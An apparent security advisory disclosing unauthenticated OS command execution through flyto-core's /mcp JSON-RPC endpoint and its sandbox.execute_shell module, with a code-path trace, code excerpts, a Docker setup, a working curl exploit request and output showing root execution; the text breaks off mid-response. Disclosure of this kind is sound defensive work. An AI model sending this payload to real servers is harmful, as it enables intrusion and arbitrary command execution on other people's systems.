flyto-core has Unauthenticated Command Execution via HTTP MCP execute_module
Unauthenticated Command Execution via HTTP MCP execute_module
Summary
The HTTP MCP endpoint (POST /mcp) in flyto-core accepts unauthenticated JSON-RPC tools/call requests and dispatches them to arbitrary registered modules, including sandbox.execute_shell, which passes attacker-controlled input directly to asyncio.create_subprocess_shell. An unauthenticated attacker can execute arbitrary OS commands as the flyto-core server process. By default the server binds to 127.0.0.1, making this a High-severity local vulnerability (CVSS 8.4); if started with --host 0.0.0.0, it becomes remotely exploitable over the network. Dynamic reproduction confirmed command execution as root inside a Docker container without any Authorization header.
Details
flyto-core exposes an HTTP API via FastAPI. When the API is started (flyto serve), the MCP router is unconditionally mounted at /mcp (src/core/api/server.py:75-78). The route handler at src/core/api/routes/mcp.py:65-66 declares @router.post("") with no Depends(require_auth) dependency, unlike the analogous REST execution routes (src/core/api/routes/modules.py:93) which enforce both authentication and a module denylist.
The complete unauthenticated data flow from source to sink:
1. src/core/api/server.py:75-78 — mcp_router is mounted under /mcp unconditionally at app creation.
2. src/core/api/routes/mcp.py:65-66 — @router.post("") has no Depends(require_auth) guard; any HTTP client may POST to this route.
3. src/core/api/routes/mcp.py:79 — the full request body (attacker-controlled JSON) is parsed without validation.
4. src/core/api/routes/mcp.py:103-104 — each JSON-RPC item is forwarded to handle_jsonrpc_request without a module_filter.
5. src/core/mcp_handler.py:813-838 — tools/call with name execute_module forwards attacker-controlled module_id and params to execute_module().
6. src/core/mcp_handler.py:180, 214-215 — the module registry resolves module_id and invokes it with attacker-supplied params.
7. src/core/modules/registry/decorators.py:96-101 — the function wrapper exposes self.params as context['params'].
8. src/core/modules/atomic/sandbox/execute_shell.py:137-139 — command is read directly from params with no sanitization.
9. src/core/modules/atomic/sandbox/execute_shell.py:163-169 — command reaches asyncio.create_subprocess_shell with shell=True and no allowlist or escaping.
The sandbox.execute_shell module is not covered by the default denylist (_DEFAULT_DENYLIST = ["shell.*", "process.*"] at src/core/api/security.py:126), so even if module_filter were applied it would still be reachable.
Vulnerable code excerpts:
```python
# src/core/api/routes/mcp.py:65-66 — missing auth
@router.post("")
async def mcp_post(request: Request):
```
```python
# src/core/mcp_handler.py:832-838 — attacker-controlled dispatch
elif tool_name == "execute_module":
result = await execute_module(
module_id=arguments.get("module_id", ""),
params=arguments.get("params", {}),
context=arguments.get("context"),
browser_sessions=browser_sessions,
)
```
```python
# src/core/modules/atomic/sandbox/execute_shell.py:137-169 — sink
params = context['params']
command = params.get('command', '')
# ... only empty-command and cwd existence checks ...
proc = await asyncio.create_subprocess_shell(command, ...)
```
Contrast with the protected REST route:
```python
# src/core/api/routes/modules.py:93 — correctly guarded
@router.post("/execute", dependencies=[Depends(require_auth)])
```
The existence of authentication on the REST execution routes demonstrates that a security boundary was intended; the MCP route simply omits it.
PoC
Environment setup (Docker):
```bash
# Build the image (context: the report directory containing repo/ and vuln-001/)
docker build \
-f vuln-001/Dockerfile \
-t flyto-vuln-001 \
reports/mcp_57_flytohub__flyto-core/
# Start the server (binds 0.0.0.0:8333 inside the container)
docker run --rm -d \
-p 127.0.0.1:8333:8333 \
--name flyto-vuln-001-test \
flyto-vuln-001
```
Exploit (curl) — no Authorization header:
```bash
curl -sS http://127.0.0.1:8333/mcp \
-H 'Content-Type: application/json' \
-d '{
"jsonrpc": "2.0",
"id": 1,
"method": "tools/call",
"params": {
"name": "execute_module",
"arguments": {
"module_id": "sandbox.execute_shell",
"params": {"command": "id", "timeout": 5}
}
}
}'
```
Exploit (Python PoC script):
```bash
python3 vuln-001/poc.py \
--host 127.0.0.1 --port 8333 --command id
```
Observed response (dynamic reproduction, Phase 2):
```json
{
"jsonrpc": "2.0",
"id": 1,
"result": {
"structuredContent": {
"ok": true,
"data": {
"stdout": "uid=0(root) g
